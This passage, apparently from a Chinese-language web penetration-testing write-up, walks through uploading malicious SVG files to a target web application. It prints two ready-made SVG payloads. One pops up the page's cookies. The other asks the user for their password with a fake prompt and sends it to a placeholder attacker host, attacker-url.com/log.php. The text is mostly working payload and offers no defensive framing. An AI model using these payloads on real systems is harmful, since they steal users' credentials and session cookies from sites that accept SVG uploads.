1、登录进入目标WEB应用;
2、手工枚举测试;
3、观察WEB应用样式:
我构造的svg文件如下,其中包含了XSS Payload:
<?xml version=”1.0" standalone=”no”?> <!DOCTYPE svg PUBLIC “-//W3C//DTD SVG 1.1//EN” “"><svg version=”1.1" baseProfile=”full” xmlns=”"> <polygon id=”triangle” points=”0,0 0,50 50,0" fill=”#009901" stroke=”#004400"/> <script type=”text/javascript”> alert(document.cookie); </script> </svg>改造一下,可在其中加入账号密码窃取Payload,最终如下:
<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script> var passwd = prompt("Enter your password to continue"); var xhr = new XMLHttpRequest(); xhr.open("GET","https://attacker-url.com/log.php?password="+encodeURI(passwd)); xhr.send(); </script> </svg>9、再次把这些SVG文件上传: